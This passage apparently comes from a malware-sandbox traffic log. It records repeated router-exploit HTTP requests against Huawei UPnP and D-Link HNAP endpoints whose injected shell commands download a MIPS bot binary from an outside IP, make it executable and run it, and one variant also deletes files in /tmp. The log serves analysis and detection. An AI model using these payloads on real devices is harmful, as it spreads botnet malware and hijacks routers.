Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 